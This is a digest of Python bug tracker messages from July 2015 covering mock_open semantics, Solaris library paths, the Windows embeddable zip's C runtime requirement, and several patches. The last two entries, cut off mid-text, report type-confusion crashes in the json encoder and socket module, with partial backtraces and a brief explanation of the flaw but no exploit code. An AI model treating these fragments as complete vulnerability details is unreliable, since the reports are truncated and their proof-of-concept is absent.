In-Reply-To: <1402683289.16.0.550319898466.issue21750@psf.upfronthosting.co.za>
Message-ID: <1437509916.83.0.171143728912.issue21750@psf.upfronthosting.co.za>


Robert Collins added the comment:

@pkoning in Python3.3 == mock 1.0.1, 
>>> m = mock_open(read_data='f')
>>> m().read()
'f'
>>> m().read()
'f'
>>> x = m()
>>> x.read()
'f'
>>> x.read()
'f'
>>> x = m()
>>> y = m()
>>> x.read()
'f'
>>> y.read()
'f'

in 3.4 == mock 1.1.{0,1,2,3}, and 1.2.0
>>> m = mock_open(read_data='f')
>>> m().read()
'f'
>>> m().read()
''
>>> x = m()
>>> x.read()
''
>>> x.read()
''
>>> x = m()
>>> y = m()
>>> x.read()
'f'
>>> y.read()
''

Right now, in 3.5==mock 1.1.4
>>> m = mock_open(read_data='f')
>>> m().read()
'f'
>>> m().read()
'f'
>>> x = m()
>>> x.read()
'f'
>>> x.read()
''
>>> x = m()
>>> y = m()
>>> x.read()
'f'
>>> y.read()
'f'


With the patch I just attached:
>>> m = mock_open(read_data='f')
>>> m().read()
'f'
>>> m().read()
'f'
>>> x = m()
>>> x.read()
'f'
>>> x.read()
''
>>> x = m()
>>> y = m()
>>> x.read()
'f'
>>> y.read()
''

All different points in the solution space :)
HTH

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 22:48:01 2015
From: report at bugs.python.org (Jeff Quast)
Date: Tue, 21 Jul 2015 20:48:01 +0000
Subject: [issue23287] ctypes.util.find_library needlessly call crle on Solaris
In-Reply-To: <1421800382.95.0.158394542432.issue23287@psf.upfronthosting.co.za>
Message-ID: <1437511681.82.0.763714863481.issue23287@psf.upfronthosting.co.za>


Jeff Quast added the comment:

John, What do you think of the patches attached to http://bugs.python.org/issue20664 ?

"crle is not needed at all because the default library path is
a constant on Solaris"

I don't believe this to be true, source? crle is absolutely needed to add additional library lookup paths on Solaris, did this recently change?

crle is most certainly especially in regards to zones: a zone is unable to modify any of the system library paths, it wouldn't be able to install any new libraries in those given paths (/usr/lib and /lib are often shared read-only by the global zone), and crle must be used to add a library path to a writable mountpoint, such as /usr/local/lib, and often /opt and other various deviations must occur to accommodate gnu tools, etc.

----------
nosy: +jquast

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 22:57:36 2015
From: report at bugs.python.org (Cody Piersall)
Date: Tue, 21 Jul 2015 20:57:36 +0000
Subject: [issue24679] Windows embeddable Python zip file crashes (cannot find
 a dll)
Message-ID: <1437512256.18.0.549401826928.issue24679@psf.upfronthosting.co.za>


New submission from Cody Piersall:

Whenever I tried to run the embeddable zip file from https://www.python.org/downloads/windows/ for Python 3.5.0b3, the program crashes with the message

> The program can't start because api-ms-win-crt-math-l1-1-0.dll is missing from your computer. Try reinstalling the program to fix this problem.

I suspect that this happens because I don't have any version of Visual Studio on my computer, but I'm not sure what causes it.  It happens with both the 32-bit and 64-bit zip file.

Steps to reproduce:

1. Download the zip file https://www.python.org/ftp/python/3.5.0/python-3.5.0b3-embed-win32.zip
2. Extract the contents
3. Click on the Python executable
4. Do not have Visual Studio installed on your computer

I am running Windows 7 Enterprise, 64-bit
I have attached a screenshot of the error message.

----------
files: bug.PNG
messages: 247063
nosy: Cody Piersall, steve.dower
priority: normal
severity: normal
status: open
title: Windows embeddable Python zip file crashes (cannot find a dll)
Added file: http://bugs.python.org/file39969/bug.PNG

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 23:00:59 2015
From: report at bugs.python.org (R. David Murray)
Date: Tue, 21 Jul 2015 21:00:59 +0000
Subject: [issue24679] Windows embeddable Python zip file crashes (cannot find
 a dll)
In-Reply-To: <1437512256.18.0.549401826928.issue24679@psf.upfronthosting.co.za>
Message-ID: <1437512459.32.0.852425885714.issue24679@psf.upfronthosting.co.za>


R. David Murray added the comment:

You shouldn't need visual studio to install python using the installer.

What verison of windows are you using?

----------
nosy: +r.david.murray

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 23:01:32 2015
From: report at bugs.python.org (R. David Murray)
Date: Tue, 21 Jul 2015 21:01:32 +0000
Subject: [issue24679] Windows embeddable Python zip file crashes (cannot find
 a dll)
In-Reply-To: <1437512256.18.0.549401826928.issue24679@psf.upfronthosting.co.za>
Message-ID: <1437512492.53.0.635727030657.issue24679@psf.upfronthosting.co.za>


R. David Murray added the comment:

Woops, I see you already said and I missed it.  We'll have to wait for Steve to take a look.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 23:06:21 2015
From: report at bugs.python.org (Cody Piersall)
Date: Tue, 21 Jul 2015 21:06:21 +0000
Subject: [issue24679] Windows embeddable Python zip file crashes (cannot find
 a dll)
In-Reply-To: <1437512256.18.0.549401826928.issue24679@psf.upfronthosting.co.za>
Message-ID: <1437512781.83.0.360713142952.issue24679@psf.upfronthosting.co.za>


Changes by Cody Piersall :


----------
components: +Windows
nosy: +paul.moore, tim.golden, zach.ware
type:  -> crash

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 23:09:46 2015
From: report at bugs.python.org (Steve Dower)
Date: Tue, 21 Jul 2015 21:09:46 +0000
Subject: [issue24679] Windows embeddable Python zip file crashes (cannot find
 a dll)
In-Reply-To: <1437512256.18.0.549401826928.issue24679@psf.upfronthosting.co.za>
Message-ID: <1437512986.57.0.934371377875.issue24679@psf.upfronthosting.co.za>


Steve Dower added the comment:

Yeah, I need to clearly document that you are responsible for installing the C Runtime yourself.

My current theory is that embedding applications will also require the CRT (at least those that intend to load python3.dll or python35.dll directly), and so it's better for them to install the CRT if necessary (which it won't be on Windows 10, or any up-to-date Vista or later).

In my opinion, there's no better way to handle this. We can't redistribute the CRT without an installer, and if we statically link it into this particular version of Python:
* builds take longer
* tests take longer (we need to rerun the entire test suite for statically linked CRT, as it can differ from dynamically linked)
* binaries are larger, memory usage is higher, downloads are larger, etc.
* embedders now have to deal with potential CRT incompatibilities

In short, unless the embedder also installs the CRT themselves, the zip file is useless and I'll simply stop producing them.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 23:19:24 2015
From: report at bugs.python.org (John Beck)
Date: Tue, 21 Jul 2015 21:19:24 +0000
Subject: [issue23287] ctypes.util.find_library needlessly call crle on Solaris
In-Reply-To: <1421800382.95.0.158394542432.issue23287@psf.upfronthosting.co.za>
Message-ID: <1437513564.93.0.290322650013.issue23287@psf.upfronthosting.co.za>


John Beck added the comment:

First, there are two related but somewhat separate issues here.

Regarding the patches attached to http://bugs.python.org/issue20664
they seem fine.  In theory, they should not be needed, as though it
is true that dump(1) moved from /usr/ccs/bin to /usr/bin in Solaris
11, /usr/ccs/bin still exists as a sym-link to /usr/bin.  But the
patches are written in a cautious manner, so the Right Thing [tm]
should happen in all circumstances.

Regarding my assertion that 'the default library path is a constant
on Solaris: "/lib/64:/usr/lib/64" in 64-bit mode and "/lib:/usr/lib"
in 32-bit mode', I stand by that but will clarify what I meant by
"default".  What I meant was "this is what the system provides, though
users may customize as needed".

I hope that helps.  If not, I'm happy to continue the conversation.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 23:19:52 2015
From: report at bugs.python.org (Cody Piersall)
Date: Tue, 21 Jul 2015 21:19:52 +0000
Subject: [issue24679] Windows embeddable Python zip file crashes (cannot find
 a dll)
In-Reply-To: <1437512256.18.0.549401826928.issue24679@psf.upfronthosting.co.za>
Message-ID: <1437513592.39.0.356542866819.issue24679@psf.upfronthosting.co.za>


Cody Piersall added the comment:

Ah! That makes sense. I still think the embeddable Python could be useful, but I don't actually have a vested interest in it at the moment.  Mostly I feel like it would be useful if Python is an implementation detail of an application, and you want to make sure that the user of your application doesn't mess up the Python installation.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 23:22:08 2015
From: report at bugs.python.org (Jeff Quast)
Date: Tue, 21 Jul 2015 21:22:08 +0000
Subject: [issue23287] ctypes.util.find_library needlessly call crle on Solaris
In-Reply-To: <1421800382.95.0.158394542432.issue23287@psf.upfronthosting.co.za>
Message-ID: <1437513728.4.0.935320295951.issue23287@psf.upfronthosting.co.za>


Jeff Quast added the comment:

I looked over the focus on "default" path, thank you for clarifying!

Sadly, I can't help you move either of these patches forward, best wishes!

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 23:29:52 2015
From: report at bugs.python.org (Steve Dower)
Date: Tue, 21 Jul 2015 21:29:52 +0000
Subject: [issue24679] Windows embeddable Python zip file crashes (cannot find
 a dll)
In-Reply-To: <1437512256.18.0.549401826928.issue24679@psf.upfronthosting.co.za>
Message-ID: <1437514192.34.0.33535543525.issue24679@psf.upfronthosting.co.za>


Steve Dower added the comment:

That's exactly the use case, and I might "borrow" your summary for the docs that I'll eventually write for it because you've summed it up really well.

My biggest worry right now is that people will treat it as a portable install and run into exactly the issue that you hit. Putting "embed" in the name is my best idea for preventing that (next idea is removing the .exe files, but that would hurt legitimate uses).

----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 23:51:32 2015
From: report at bugs.python.org (Cody Piersall)
Date: Tue, 21 Jul 2015 21:51:32 +0000
Subject: [issue24679] Windows embeddable Python zip file crashes (cannot find
 a dll)
In-Reply-To: <1437512256.18.0.549401826928.issue24679@psf.upfronthosting.co.za>
Message-ID: <1437515492.49.0.747141165083.issue24679@psf.upfronthosting.co.za>


Cody Piersall added the comment:

Yeah, having "embeddable" in the name is a good hint, I think.  It was almost enough for me to not even try downloading it.

Is it possible / even worth the time to give a more helpful error message?  I'm not sure that it's possible, based on when the dll is laoded, or if it were possible whether it's worth doing.  It might require more code than it's worth to maintain.  You'd have to...

1. In the main function in C, check whether you're running the embedded Python (probably with an #ifdef)
2. If so, check that the required CRT is found (which probably requires _another_ #ifdef for 32/64 bit, and maybe Python version)
3. If it isn't found, create a message box using the Windows API explaining the problem.  Which may require including the GUI libraries into the Python executable, and I don't think those are small things.

I'm not sure if that is either possible or desirable, though.  Or if what I explained would even work; I'm not sure if the DLLs are loaded right when the executable starts, or only as needed whenever functions from the DLLs are called.  And I have _no_ idea how to check for the presence of the CRT.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Jul 21 23:59:19 2015
From: report at bugs.python.org (Steve Dower)
Date: Tue, 21 Jul 2015 21:59:19 +0000
Subject: [issue24679] Windows embeddable Python zip file crashes (cannot find
 a dll)
In-Reply-To: <1437512256.18.0.549401826928.issue24679@psf.upfronthosting.co.za>
Message-ID: <1437515959.86.0.648814170215.issue24679@psf.upfronthosting.co.za>


Steve Dower added the comment:

Afraid it's not possible - that error comes from the loader, so we haven't had a chance to run anything yet.

One option would be to put some sort of readme into the zip, but that seems to be optimising for the wrong behavior. If I were legitimately embedding this from the zip file, that would be something I'd want to remove from my app distribution. But maybe it wouldn't be such a big deal - really need to get some data on people actually using this vs. getting it incorrectly.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 00:02:11 2015
From: report at bugs.python.org (Cody Piersall)
Date: Tue, 21 Jul 2015 22:02:11 +0000
Subject: [issue24679] Windows embeddable Python zip file crashes (cannot find
 a dll)
In-Reply-To: <1437512256.18.0.549401826928.issue24679@psf.upfronthosting.co.za>
Message-ID: <1437516131.24.0.671321109189.issue24679@psf.upfronthosting.co.za>


Cody Piersall added the comment:

Agreed. "An ounce of data is worth a pound of theory" as the saying goes.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 00:20:51 2015
From: report at bugs.python.org (Fabian)
Date: Tue, 21 Jul 2015 22:20:51 +0000
Subject: [issue24667] OrderedDict.popitem()/__str__() raises KeyError
In-Reply-To: <1437302438.28.0.708733032475.issue24667@psf.upfronthosting.co.za>
Message-ID: <1437517251.44.0.702927058515.issue24667@psf.upfronthosting.co.za>


Fabian added the comment:

Okay I did a test run on all three 3.5 betas available to me through pyenv. The beta 3 failed as Python 3.6 does that popitem() raises a KeyError. The beta 2 had the bug that popitem() does not support keyword arguments so I wasn't able to test it there. And the beta 1 works fine so it looks like the C implementation is the cause of this.

----------
versions: +Python 3.5

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 01:03:31 2015
From: report at bugs.python.org (Eric Snow)
Date: Tue, 21 Jul 2015 23:03:31 +0000
Subject: [issue24667] OrderedDict.popitem()/__str__() raises KeyError
In-Reply-To: <1437302438.28.0.708733032475.issue24667@psf.upfronthosting.co.za>
Message-ID: <1437519811.88.0.85919420106.issue24667@psf.upfronthosting.co.za>


Eric Snow added the comment:

I've thus far been unsuccessful in running the pywikibot test suite.  I'm guessing there are some prerequisites (e.g. an account on some wiki site).  Is there a way to run the tests without network access?  Also, I ran into some trouble with i18n.__file__, but hacked my way around it.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 01:14:10 2015
From: report at bugs.python.org (Ben Finney)
Date: Tue, 21 Jul 2015 23:14:10 +0000
Subject: [issue24651] Mock.assert* API is in user namespace
In-Reply-To: <1437119760.12.0.974021198911.issue24651@psf.upfronthosting.co.za>
Message-ID: <1437520450.84.0.488438516236.issue24651@psf.upfronthosting.co.za>


Changes by Ben Finney :


----------
nosy: +bignose

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 01:54:34 2015
From: report at bugs.python.org (Paul Koning)
Date: Tue, 21 Jul 2015 23:54:34 +0000
Subject: [issue21750] mock_open data is visible only once for the life of the
 class
In-Reply-To: <1402683289.16.0.550319898466.issue21750@psf.upfronthosting.co.za>
Message-ID: <1437522874.2.0.81205895553.issue21750@psf.upfronthosting.co.za>


Paul Koning added the comment:

So if I understand right, it seems to me the 3.5/mock 1.1.4 behavior is correct.  mock_open(read_data="f") acts like a file that contains f, and m() acts like an open() of that file.  So if I call open once, I should read the f, then EOF.  If I open twice, then each stream (x and y) is independent, and each sees f then EOF.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 03:16:44 2015
From: report at bugs.python.org (Kevin Benton)
Date: Wed, 22 Jul 2015 01:16:44 +0000
Subject: [issue24651] Mock.assert* API is in user namespace
In-Reply-To: <1437119760.12.0.974021198911.issue24651@psf.upfronthosting.co.za>
Message-ID: <1437527804.2.0.571857910323.issue24651@psf.upfronthosting.co.za>


Kevin Benton added the comment:

What about other methods/properties like called, call_count, and reset_mock? It seems that they should be removed as well to be consistent with the reason for this change.

----------
nosy: +kevinbenton

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 03:58:05 2015
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 22 Jul 2015 01:58:05 +0000
Subject: [issue24619] async/await parser issues
In-Reply-To: <1437489025.36.0.562575701004.issue24619@psf.upfronthosting.co.za>
Message-ID: 


Nick Coghlan added the comment:

Patch & test cases look good to me.

I'm so used to thinking of the tokenisation phase as a linear token stream
that it never occurred to me to just count the function nesting directly to
determine if the "async def" tokenisation rules are in effect - it's a very
nice simplifying improvement.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 04:37:09 2015
From: report at bugs.python.org (Martin Panter)
Date: Wed, 22 Jul 2015 02:37:09 +0000
Subject: [issue12067] Doc: remove errors about mixed-type comparisons.
In-Reply-To: <1305237573.86.0.646542413513.issue12067@psf.upfronthosting.co.za>
Message-ID: <1437532629.04.0.691167918314.issue12067@psf.upfronthosting.co.za>


Martin Panter added the comment:

Patch v15. No doc changes, but I refactored the test code:

* Manually merged with recent changes
* Separate assert_equality_only() and assert_total_order() test methods. Hopefully this is a bit simpler for people to understand and review, and avoids suggesting that partial ordering is tested.
* Dropped subTest() instances with identical parameters. The basic stack trace can already distinguish these.
* Eliminated is_value_comparable(); remove the ?meth? parameters from the call sites instead

----------
versions: +Python 3.6
Added file: http://bugs.python.org/file39970/issue12067-expressions-py3.5_v15.diff

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 04:47:29 2015
From: report at bugs.python.org (cdz)
Date: Wed, 22 Jul 2015 02:47:29 +0000
Subject: [issue24680] typo in documentation, section extending python
Message-ID: <1437533249.17.0.220138449851.issue24680@psf.upfronthosting.co.za>


New submission from cdz:

In section "3. Building C and C++ Extensions with distutils" there is unnecessary "\" in the middle of the line. Seems to be bulk (re)formatting issue.

Simple patch fixing the issue is attached.

----------
assignee: docs at python
components: Documentation
files: extending_doc_typo.diff
keywords: patch
messages: 247080
nosy: cdz, docs at python
priority: normal
severity: normal
status: open
title: typo in documentation, section extending python
type: enhancement
versions: Python 3.6
Added file: http://bugs.python.org/file39971/extending_doc_typo.diff

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 04:49:06 2015
From: report at bugs.python.org (Martin Panter)
Date: Wed, 22 Jul 2015 02:49:06 +0000
Subject: [issue24053] Define EXIT_SUCCESS and EXIT_FAILURE constants in sys
In-Reply-To: <1429890469.94.0.27310602141.issue24053@psf.upfronthosting.co.za>
Message-ID: <1437533346.64.0.135977854402.issue24053@psf.upfronthosting.co.za>


Martin Panter added the comment:

FWIW I have wondered in the past why these constants were missing. I would be more likely to use them when checking an exit status than when setting one. I typically do ?raise SystemExit()? or ?raise SystemExit('Error message')?, which implicitly sets the status.

My preference would be to put EXIT_SUCCESS and EXIT_FAILURE in the ?os? module, next to the existing EX_ codes. But I guess the ?sys? module would also work.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 05:14:28 2015
From: report at bugs.python.org (Martin Panter)
Date: Wed, 22 Jul 2015 03:14:28 +0000
Subject: [issue24680] typo in documentation, section extending python
In-Reply-To: <1437533249.17.0.220138449851.issue24680@psf.upfronthosting.co.za>
Message-ID: <1437534868.54.0.748889548632.issue24680@psf.upfronthosting.co.za>


Martin Panter added the comment:

Nice and obvious fix, looks like it also applies to Python 2.

----------
nosy: +vadmium
stage:  -> commit review
versions: +Python 2.7, Python 3.4, Python 3.5

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 05:31:44 2015
From: report at bugs.python.org (Martin Panter)
Date: Wed, 22 Jul 2015 03:31:44 +0000
Subject: [issue22000] cross type comparisons clarification
In-Reply-To: <1405622312.02.0.49093151571.issue22000@psf.upfronthosting.co.za>
Message-ID: <1437535904.76.0.931684157225.issue22000@psf.upfronthosting.co.za>


Martin Panter added the comment:

Actually, this is about a different section of the documentation. But it might still be best to update /Doc/reference/expressions.rst first in Issue 12067, and then sort out /Doc/library/stdtypes.rst to match.

Why do we need a dedicated section in Built-in Types about Comparisons? I think it might make more sense to just document how comparisons work separately for each type (Numeric, Sequence, Text, etc), if this is not already done.

----------
dependencies: +Doc: remove errors about mixed-type comparisons.

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 05:35:06 2015
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 22 Jul 2015 03:35:06 +0000
Subject: [issue24680] typo in documentation, section extending python
In-Reply-To: <1437533249.17.0.220138449851.issue24680@psf.upfronthosting.co.za>
Message-ID: <20150722033503.51992.34608@psf.io>


Roundup Robot added the comment:

New changeset 91b738cfdc2f by Zachary Ware in branch '2.7':
Issue #24680: Remove random backslash.  Patch by cdz.
https://hg.python.org/cpython/rev/91b738cfdc2f

New changeset cf0011b6ebbd by Zachary Ware in branch '3.4':
Issue #24680: Remove random backslash.  Patch by cdz.
https://hg.python.org/cpython/rev/cf0011b6ebbd

New changeset d7229f26dbdb by Zachary Ware in branch '3.5':
Issue #24680: Merge with 3.4
https://hg.python.org/cpython/rev/d7229f26dbdb

New changeset 96910e822266 by Zachary Ware in branch 'default':
Closes #24680: Merge with 3.5
https://hg.python.org/cpython/rev/96910e822266

----------
nosy: +python-dev
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 05:35:57 2015
From: report at bugs.python.org (Zachary Ware)
Date: Wed, 22 Jul 2015 03:35:57 +0000
Subject: [issue24680] typo in documentation, section extending python
In-Reply-To: <1437533249.17.0.220138449851.issue24680@psf.upfronthosting.co.za>
Message-ID: <1437536157.91.0.575537719025.issue24680@psf.upfronthosting.co.za>


Zachary Ware added the comment:

Fixed! Thanks for the report and patch, cdz, and thanks for the triage, Martin.

----------
nosy: +zach.ware

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 06:01:49 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 22 Jul 2015 04:01:49 +0000
Subject: [issue24681] Put most likely test first is set_add_entry()
Message-ID: <1437537709.86.0.0448680218566.issue24681@psf.upfronthosting.co.za>


New submission from Raymond Hettinger:

Since the *found_active* exit is like the *found_error* exit in that it makes no further use of *entry*, it can be moved before the table/entry_key check whose purpose is to make sure the *entry* pointer is still valid.  This change doesn't apply to lookkey() which makes downstream use of the entry pointer.  In constrast, set_add_entry() is fully self-contained now and only returns a 0 or -1 rather than a pointer into the set table.

This puts the most likely test case first, putting it ahead of the two memory reloads in table/entry_key check.

Also, add an "else if" to the initial freeslot check to make it match the corresponding "else if" in the linear probe loop.

----------
assignee: serhiy.storchaka
components: Interpreter Core
files: better_test_order.diff
keywords: patch
messages: 247086
nosy: rhettinger, serhiy.storchaka
priority: normal
severity: normal
stage: patch review
status: open
title: Put most likely test first is set_add_entry()
versions: Python 3.6
Added file: http://bugs.python.org/file39972/better_test_order.diff

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 06:23:07 2015
From: report at bugs.python.org (Robert Collins)
Date: Wed, 22 Jul 2015 04:23:07 +0000
Subject: [issue21750] mock_open data is visible only once for the life of the
 class
In-Reply-To: <1402683289.16.0.550319898466.issue21750@psf.upfronthosting.co.za>
Message-ID: <1437538987.29.0.0740463250067.issue21750@psf.upfronthosting.co.za>


Robert Collins added the comment:

So the 1.1.4 behaviour matches that of a VFS most closely. But, see the earlier messages, it does do only and precisely because it breaks regular mock idioms. Thus I think we're better off with the new patch, which addresses the issue with reuse of the mocks in subclassed tests(with the patch decorator), as well as with repeated opens, while still preserving the basic structure and feel of 'Mock'.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 06:23:33 2015
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 22 Jul 2015 04:23:33 +0000
Subject: [issue12067] Doc: remove errors about mixed-type comparisons.
In-Reply-To: <1305237573.86.0.646542413513.issue12067@psf.upfronthosting.co.za>
Message-ID: <1437539013.04.0.503634273816.issue12067@psf.upfronthosting.co.za>


Berker Peksag added the comment:

I think we can commit documentation and tests separately. I just did a quick review of the test changes and I will add some review comments later (sorry, lack of time :)).

----------
nosy: +berker.peksag

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 06:29:04 2015
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 22 Jul 2015 04:29:04 +0000
Subject: [issue24603] Update OpenSSL to 1.0.2d in Windows and OS X installer
In-Reply-To: <1436521134.84.0.691261110341.issue24603@psf.upfronthosting.co.za>
Message-ID: <20150722042901.24774.82393@psf.io>


Roundup Robot added the comment:

New changeset 53c0c8914ad0 by Zachary Ware in branch '2.7':
Issue #24603: Update Windows build to use OpenSSL 1.0.2d
https://hg.python.org/cpython/rev/53c0c8914ad0

New changeset f4cd9ac378d7 by Zachary Ware in branch '3.4':
Issue #24603: Update the Windows build to use OpenSSL 1.0.2d
https://hg.python.org/cpython/rev/f4cd9ac378d7

New changeset 2930e23d729f by Zachary Ware in branch '3.5':
Issue #24603: Update the Windows build to use OpenSSL 1.0.2d
https://hg.python.org/cpython/rev/2930e23d729f

New changeset 310613b993d4 by Zachary Ware in branch 'default':
Issue #24603: Merge with 3.5
https://hg.python.org/cpython/rev/310613b993d4

----------
nosy: +python-dev

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 06:45:33 2015
From: report at bugs.python.org (Carol Willing)
Date: Wed, 22 Jul 2015 04:45:33 +0000
Subject: [issue24682] Add Quick Start: Communications section to devguide
Message-ID: <1437540333.82.0.609056038167.issue24682@psf.upfronthosting.co.za>


New submission from Carol Willing:

Add a Quick Start: Communications section to devguide (or Q S: Community Interaction) as discussed on python-dev mailing list today.

The Quick Start: Communications section should be brief, link to other sections in the devguide, and give contributor's guidance about mailing list usage. It is possible that new sections of the devguide will be created to provide additional detail and be referenced by the Quick Start: Communications section. 

Rename existing devguide/#quick-start 'Quick Start' to 'Quick Start: Code Development'. Thanks Terry Reedy for the name suggestions.

----------
assignee: willingc
components: Devguide
messages: 247090
nosy: ezio.melotti, willingc
priority: normal
severity: normal
status: open
title: Add Quick Start: Communications section to devguide
type: enhancement

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 06:56:40 2015
From: report at bugs.python.org (Felipe)
Date: Wed, 22 Jul 2015 04:56:40 +0000
Subject: [issue24651] Mock.assert* API is in user namespace
In-Reply-To: <1437119760.12.0.974021198911.issue24651@psf.upfronthosting.co.za>
Message-ID: <1437541000.08.0.0091534657901.issue24651@psf.upfronthosting.co.za>


Felipe added the comment:

Not sure it's my place to comment here, but here are my 2 cents: I think Robert's proposal to have module functions is the only way to have a user-friendly and robust API, and it solves more than just the assert typo problem. (And yes, it would require moving the mock public API entirely to functions/classmethods).

To me, there's an underlying fragility in mock since the current API for `Mock` is not cleanly separated from the mocked API. This issue creates the problem of the  assert typos, and also creates problems with name conflicts (I've always thought the `.call_count` attribute was particularly likely to be clobbered).

The only bullet-proof way I can think of to ensure such a conflict does not take place is to separate the namespaces altogether, by moving the data out of the Mock object and into a global structure. E.g., `mock.Mock` could have a class attribute (say `mock.Mock.call_log`) tracking all of the calls to all mocks, and there could be a series of classmethods to query this store. Unfortunately, this design goes seriously against the grain of OOP, but we're essentially back to Robert's proposal.

A more OOP-friendly approach sacrifices the '100% clash-proof guarantee' and only provides a 'highly unlikely to clash' guarantee instead: Mangle the mock API namespace. Mock currently does this for its internal attributes (e.g., `._mock_parent`) but not for its public API (e.g., `.assert_called_once_with`). To remain user-friendly, of course we wouldn't require users to mangle names by hand, but would provide convenience functions to access these mangled attributes/methods, which puts us right back at Robert's proposal.

----------
nosy: +fov

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 07:26:40 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 22 Jul 2015 05:26:40 +0000
Subject: [issue24681] Put most likely test first in set_add_entry()
In-Reply-To: <1437537709.86.0.0448680218566.issue24681@psf.upfronthosting.co.za>
Message-ID: <1437542800.64.0.169880776424.issue24681@psf.upfronthosting.co.za>


Changes by Raymond Hettinger :


----------
title: Put most likely test first is set_add_entry() -> Put most likely test first in set_add_entry()

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 07:51:58 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 22 Jul 2015 05:51:58 +0000
Subject: [issue24681] Put most likely test first in set_add_entry()
In-Reply-To: <1437537709.86.0.0448680218566.issue24681@psf.upfronthosting.co.za>
Message-ID: <1437544318.49.0.447704418567.issue24681@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

One other change is to defer saving table=so->table until just before the rich comparison since it is only needed in that code block.  This improves the generated code saving a register spill and reload on the most common code paths.

----------
Added file: http://bugs.python.org/file39973/better_test_order2.diff

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 08:01:56 2015
From: report at bugs.python.org (Brett Cannon)
Date: Wed, 22 Jul 2015 06:01:56 +0000
Subject: [issue24682] Add Quick Start: Communications section to devguide
In-Reply-To: <1437540333.82.0.609056038167.issue24682@psf.upfronthosting.co.za>
Message-ID: <1437544916.45.0.365288398384.issue24682@psf.upfronthosting.co.za>


Changes by Brett Cannon :


----------
nosy: +brett.cannon

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 09:01:58 2015
From: report at bugs.python.org (paul)
Date: Wed, 22 Jul 2015 07:01:58 +0000
Subject: [issue24683] Type confusion in json encoding
Message-ID: <1437548518.74.0.524291765031.issue24683@psf.upfronthosting.co.za>


New submission from paul:

on-35dm-i386-linux-gnu.so`encoder_listencode_list(s=0xb6f90394, acc=0xbfc42c28, seq=0xb6f2361c, indent_level=1) + 655 at _json.c:1800
#     frame #2: 0xb6e4366d _json.cpython-35dm-i386-linux-gnu.so`encoder_listencode_obj(s=0xb6f90394, acc=0xbfc42c28, obj=0xb6f2361c, indent_level=1) + 733 at _json.c:1554
#     frame #3: 0xb6e3fc4f _json.cpython-35dm-i386-linux-gnu.so`encoder_call(self=0xb6f90394, args=0xb7049304, kwds=0x00000000) + 319 at _json.c:1386
#     frame #4: 0x080c5758 python`PyObject_Call(func=0xb6f90394, arg=0xb7049304, kw=0x00000000) + 264 at abstract.c:2149
# 
# This is a type confusion bug. encoder->markers can be initialized to an
# arbitrary object (string in this POC). PyDict_Contains trusts the caller that
# "op" is a dictionary without checking. Some callers can't be trusted :)

----------
messages: 247093
nosy: pkt
priority: normal
severity: normal
status: open
title: Type confusion in json encoding
type: crash
versions: Python 3.5

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 09:02:52 2015
From: report at bugs.python.org (paul)
Date: Wed, 22 Jul 2015 07:02:52 +0000
Subject: [issue24684] Type confusion in socket module
Message-ID: <1437548572.03.0.160792945123.issue24684@psf.upfronthosting.co.za>


New submission from paul:

eck(idna));
# (gdb) 
# 
# Program received signal SIGABRT, Aborted.
